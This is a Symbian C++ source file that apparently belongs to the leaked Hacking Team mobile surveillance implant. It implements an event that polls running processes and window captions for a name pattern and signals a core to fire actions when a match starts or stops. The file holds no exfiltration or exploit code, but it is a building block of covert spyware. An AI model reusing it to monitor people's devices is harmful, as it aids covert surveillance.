hackedteam/core-symbian

/*
 * EventProcess.cpp
 *
 *  Created on: 29/set/2010
 *      Author: Giovanna
 */

#include "EventProcess.h"
#include <HT\processes.h>
#include <APGWGNAM.H>

    
CEventProcess::CEventProcess(TUint32 aTriggerId) :
    CAbstractEvent(EEvent_Process, aTriggerId),iSecondsInterv(3)
    {
    // No implementation required
    }

CEventProcess::~CEventProcess()
    {
    __FLOG(_L("Destructor"));
    delete iTimer;
    delete iName;
    iWsSession.Close();
    __FLOG(_L("End Destructor"));
    __FLOG_CLOSE;
    }

CEventProcess* CEventProcess::NewLC(const TDesC8& params, TUint32 aTriggerId)
    {
    CEventProcess* self = new (ELeave) CEventProcess(aTriggerId);
    CleanupStack::PushL(self);
    self->ConstructL(params);
    return self;
    }

CEventProcess* CEventProcess::NewL(const TDesC8& params, TUint32 aTriggerId)
    {
    CEventProcess* self = CEventProcess::NewLC(params, aTriggerId);
    CleanupStack::Pop(); // self;
    return self;
    }
 
void CEventProcess::ConstructL(const TDesC8& params)
    {
    
    BaseConstructL(params);
    __FLOG_OPEN_ID("HT", "EventProcess.txt");
    __FLOG(_L("-------------"));
        
    TUint8* ptr = (TUint8 *)iParams.Ptr();
    Mem::Copy(&iProcessParams, iParams.Ptr(), sizeof(TProcessStruct));
    ptr += sizeof(TProcessStruct);
    
    iName = HBufC::NewL(iProcessParams.iNameLen);
    if (iProcessParams.iNameLen > 0)
        {
        TUint8 totChars = (iProcessParams.iNameLen-1) / 2;  //TODO: verify -1
        TPtr16 ptrNum((TUint16 *) ptr, totChars, totChars);
        iName->Des().Append(ptrNum);  
        }
    
    iTimer = CTimeOutTimer::NewL(*this);
    
    User::LeaveIfError(iWsSession.Connect());
    }

/**
 * StartEventL creates a list of active processes/GUI app that match criteria
 * If list element count > 0, starting action is triggered
 */
void CEventProcess::StartEventL()
    {
    __FLOG(_L("StartEventL()"));
    if(iProcessParams.iType == 0)
        {
        // search processes
        TFullName res;
        TFindProcess proc;
        while(proc.Next(res) == KErrNone)
            {
            RProcess ph;
            TInt err = ph.Open(proc);
            if(err!=KErrNone)
                {
                continue;
                }
            if(ph.Name().MatchC(*iName) != KErrNotFound)
                {
                ++iOldCount;
                }
            ph.Close();
            }
        }
    else
        {
        // Get a list of the names and IDs of the all the window groups
        CArrayFixFlat<TInt>* windowGroupIds = new(ELeave)CArrayFixFlat<TInt>(1);
        CleanupStack::PushL(windowGroupIds);
        
        CApaWindowGroupName* wgName=CApaWindowGroupName::NewL(iWsSession);
        CleanupStack::PushL(wgName);
            
        iWsSession.WindowGroupList(windowGroupIds);
        // Search for a pattern match
        TInt count = windowGroupIds->Count();
        TBuf<50> windowName;
        for(TInt i=0; i<count; i++)
            {
            wgName->ConstructFromWgIdL(((*windowGroupIds)[i]));
            windowName.Copy(wgName->Caption());
            //iWsSession.GetWindowGroupNameFromIdentifier((*windowGroupIds)[i],windowName);
            if(windowName.MatchC(*iName) != KErrNotFound)
                {
                ++iOldCount;
                }
            }
        
        CleanupStack::PopAndDestroy(2);
        }
    
    // start timer
    iTimeAt.HomeTime();
    iTimeAt += iSecondsInterv;
    iTimer->At(iTimeAt);

    if(iOldCount>0)
        SendActionTriggerToCoreL();
    
    }


/*
 * TimerExpiredL
 * We are only interested into the following matrix:
 * (old list count = 0)  && (new list count > 0) => trigger the action
 * (old list count = 0)  && (new list count > 0) => do nothing
 * (old list count > 0)  && (new list count > 0) => do nothing
 * (old list count > 0)  && (new list count = 0) => trigger exit action
 */
void CEventProcess::TimerExpiredL(TAny* /*src*/)
    {
    iNewCount = 0;
    if(iProcessParams.iType == 0)
        {
        // process case
        // search processes
        TFullName res;
        TFindProcess proc;
        while(proc.Next(res) == KErrNone)
            {
            RProcess ph;
            TInt err = ph.Open(proc);
            if(err!=KErrNone)
                {
                continue;
                }
            if(ph.Name().MatchC(*iName) != KErrNotFound)
                {
                ++iNewCount;
                }
            ph.Close();
            }
        }
    else
        {
        // GUI app case
        // Get a list of the names and IDs of the all the window groups
        CArrayFixFlat<TInt>* windowGroupIds = new(ELeave)CArrayFixFlat<TInt>(1);
        CleanupStack::PushL(windowGroupIds);
        
        CApaWindowGroupName* wgName=CApaWindowGroupName::NewL(iWsSession);
        CleanupStack::PushL(wgName);
            
        iWsSession.WindowGroupList(windowGroupIds);
        // Search for a pattern match
        TInt count = windowGroupIds->Count();
        TBuf<50> windowName;
        for(TInt i=0; i<count; i++)
            {
            wgName->ConstructFromWgIdL(((*windowGroupIds)[i]));
            windowName.Copy(wgName->Caption());
            //iWsSession.GetWindowGroupNameFromIdentifier((*windowGroupIds)[i],windowName);
            if(windowName.MatchC(*iName) != KErrNotFound)
                {
                ++iNewCount;
                }
            }
        
        CleanupStack::PopAndDestroy(2);
    
        }
    
    //(old list count = 0)  && (new list count > 0) => trigger the action
    if((iOldCount==0) && (iNewCount>0) )
        SendActionTriggerToCoreL();
    else if((iOldCount>0) && (iNewCount == 0))   //(old list count > 0)  && (new list count = 0) => trigger exit action
        {
        if (iProcessParams.iExitAction != 0xFFFFFFFF)                        
            SendActionTriggerToCoreL(iProcessParams.iExitAction);                        
        }
            
    iOldCount = iNewCount;
            
    // restart timer
    iTimeAt.HomeTime();
    iTimeAt += iSecondsInterv;
    iTimer->At(iTimeAt);
    }